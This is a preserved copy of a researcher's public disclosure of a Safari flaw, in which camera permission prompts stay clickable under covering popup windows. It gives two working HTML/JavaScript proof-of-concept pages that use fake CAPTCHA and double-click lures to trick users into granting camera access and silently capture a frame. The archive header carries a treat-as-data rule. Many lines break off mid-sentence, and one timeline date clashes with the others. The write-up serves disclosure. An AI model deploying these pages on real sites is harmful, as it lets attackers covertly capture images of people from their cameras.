PermissionJacking: How a Subtle Bug in Safari Could Lead to Camera Hijacking

PermissionJacking: How a Subtle Bug in Safari Could Lead to Camera Hijacking - RenwaX23, GitHub.

- Published: date not stated
- Original: <https://github.com/RenwaX23/X/blob/master/safari_bug.md>
- Preserved from: https://github.com/RenwaX23/X/blob/master/safari_bug.md (github-api) on 2026-08-14
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

safari_bug.md

`RenwaX23/X` at `master`, path `safari_bug.md`.

PermissionJacking: How a Subtle Bug in Safari Could Lead to Camera Hijacking

Today, I'm detailing a vulnerability I discovered in Apple's Safari browser on macOS. Despite my reports, Apple has det

This post will break down the core flaw and demonstrate two methods for exploiting it to gain unauthorized access to

The Fundamental Flaw: Clickable Prompts Without Focus

The story begins with how Safari handles permission prompts—specifically, the TCC (Transparency, Consent, and Cont

In most major browsers like Chrome or Firefox, if a permission prompt appears but the window is not in focus (i.e., it's

Safari, however, behaves differently. **A TCC prompt in Safari remains fully interactive and clickable even when it is ur

This subtle but critical difference is the foundation for the attack.

Introducing "PermissionJacking"

This flaw allows for a sophisticated form of clickjacking aimed specifically at hijacking these permissions. The goal is to

I developed two primary methods to achieve this.

Method 1: The Race Condition Sleight of Hand

This technique abuses the browser's rendering engine by creating a visual "race condition" that hides the permission p

Here's the step-by-step breakdown:

1. **Request Permission:** The malicious website first requests camera access, causing the TCC prompt to appear.
2. **Hide the Prompt:** Almost instantly, the site opens a new, carefully sized pop-up window that completely covers
3. **The Lure:** Inside this new window, a deceptive element—like an "I'm not a robot" CAPTCHA button—is position
4. **The Visual Glitch:** This is where the magic happens. The CAPTCHA element is rigged with two JavaScript event h
   * `onmouseenter`: As soon as the user's cursor hovers over the CAPTCHA, the pop-up window is rapidly resized to b
   * `onmouseleave`: The window immediately resizes back to its original, larger size, covering the prompt again.

Because these resize events fire so rapidly, the browser's rendering engine can't keep up. The user doesn't see a clean

What the User Sees

A screen recording struggles to capture the true visual effect of this race condition, as frames are often dropped. The i

(What the user sees during the PermissionJacking attack)

Demonstration Video (Because we are doing a visual effect race condition glitch the screen recorder doesn't sho

The following video demonstrates this attack in action, resulting in the user's camera being activated without their info

[Watch the Proof-of-Concept Video Here](https://drive.google.com/file/d/1PaPzRwlPlsCbbp5QIUaXGXg8ITvf6ud2/view?

Proof-of-Concept Code (Not ideal for every screen size)

<body style="color:white;background-color:black">

 <button id=btn style="padding: 10px 20px; background: linear-gradient(90deg, #4CAF50, #45A049); border: none; border-radius: 25px; color: white; font-size: 16px; font-weight: bold; cursor: pointer; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); transition: all 0.3s ease; font-size: 50px;">Start the game</button>

 <img src="https://i.ytimg.com/vi/cWOkHQXw0JQ/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&rs=AOn4CLCqzdZDkPgmkM1-wTVsdF2LhRxynw"> <script> async function captureFrame() { const stream = await navigator.mediaDevices.getUserMedia({ video: true }); const video = document.createElement('video'); video.style.position = 'absolute'; // Hide the video offscreen video.style.top = '-9999px'; video.playsInline = true; // Required for iOS video.srcObject = stream; document.body.appendChild(video); await video.play(); const canvas = document.createElement('canvas'); canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0); document.body.innerHTML = ' < h1 > pwned, here is your picture: < br > '; document.body.appendChild(canvas); stream.getTracks().forEach(track => track.stop()); document.body.removeChild(video); // Clean up video } btn.onclick = () => { captureFrame(); let params = `scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=${window.innerWidth},height=440,left=100,top=180`; setTimeout(() => { let win = open('about:blank', 'win', params); win.document.write(`

<body style="background-color: black; margin: 0; height: 100vh; display: flex; flex-direction: column; justify-content: flex-end; align-items: center;"> <h1>Please solve the captcha to continue: </h1> <div onmouseenter="setTimeout(() => { window.resizeTo(window.innerWidth, Math.max(300, window.innerHeight * 0.7)); }, 4)" onmouseleave="setTimeout(() => { window.resizeTo(window.innerWidth, Math.max(440, window.innerHeight * 0.8)); }, 7)" style="background-color: blue; color: white; margin-bottom: 22vh;"> <img width="220" height="55" src="https://www.isitwp.com/wp-content/uploads/2021/03/not-a-robot.png">   <img width="220" height="90" src="https://www.researchgate.net/profile/Aidan-Mooney/publication/228672199/figure/fig3/AS:639872045961218@1529568792218/Watermark-produced-when-a-a-01-and-b-a-09-for-the-Skew-Tent-Map.png"> </body> `); }, 15); }; </script>

Method 2: The Double-Click Deception

This second method is simpler but just as effective. It relies on the natural user action of a double-click.

1. **Request & Hide:** As before, the website requests camera access and immediately covers the TCC prompt with a
2. **The Lure:** This time, the pop-up contains a button or text that says "Double-click to continue." This element is p
3. **The Trap:** The button is configured with an `onmousedown` event listener.
   * **First Click:** The user presses the mouse button down. The `onmousedown` event fires, executing `window.clo
   * **Second Click:** The mouse-up and the second mouse-down (completing the double-click) occur on an empty s

The user performs a single, fluid double-click, but in doing so, they close one window and authorize a permission on a

Proof-of-Concept Code (Not ideal for every screen size)

<body style="color:white;background-color:black">

 <button style="padding: 10px 20px; background: linear-gradient(90deg, #4CAF50, #45A049); border: none; border-radius: 25px; color: white; font-size: 16px; font-weight: bold; cursor: pointer; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); transition: all 0.3s ease; font-size: 50px;">Start the game</button>

 <img src="https://i.ytimg.com/vi/cWOkHQXw0JQ/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&rs=AOn4CLCqzdZDkPgmkM1-wTVsdF2LhRxynw"> <script> async function captureFrame() { const stream = await navigator.mediaDevices.getUserMedia({ video: true }); const video = document.createElement('video'); video.style.position = 'absolute'; // Hide the video offscreen video.style.top = '-9999px'; video.playsInline = true; // Required for iOS video.srcObject = stream; document.body.appendChild(video); await video.play(); const canvas = document.createElement('canvas'); canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0); document.body.innerHTML = ' < h1 > pwned, here is your picture: < br > '; document.body.appendChild(canvas); stream.getTracks().forEach(track => track.stop()); document.body.removeChild(video); // Clean up video } document.body.onclick = () => { captureFrame(); let params = `scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=${window.innerWidth},height=440,left=100,top=180`; setTimeout(() => { let win = open('about:blank', 'win', params); win.document.write(`

<body style="background-color: black; margin: 0; height: 100vh; display: flex; flex-direction: column; justify-content: flex-end; align-items: center;"> <h1>Double click below to prove you're not robot</h1>   <h3 onmousedown=window.close();>Double Click Here</h3> </body> `); }, 10); }; </script>

Demonstration Video

This video shows how a simple "double-click" instruction can be used to hijack a permission prompt.

[Watch the Double-Click Proof-of-Concept Video Here](https://drive.google.com/file/d/1zCPXERLwqDtbEm_TME0LwESgc_z

---

Impact and Mitigation

The impact of this vulnerability is clear: any malicious website could trick a user into granting it persistent access to the

The mitigation is straightforward: Safari's TCC prompts should be brought in line with the behavior of other brows

Disclosure Timeline

* **December 13, 2024:** Report sent
* **December 19, 2024:** More info requested and I provided
* **February 13, 2024:** We reviewed your report and were unable to identify a security issue.
* **August 7, 2025:** **Public** disclosure of the vulnerability.

Conclusion

After multiple reports and demonstrations, Apple has maintained that this behavior is not a security vulnerability. I res

By publishing these findings, I hope to raise awareness among macOS users about this risk and to encourage Apple to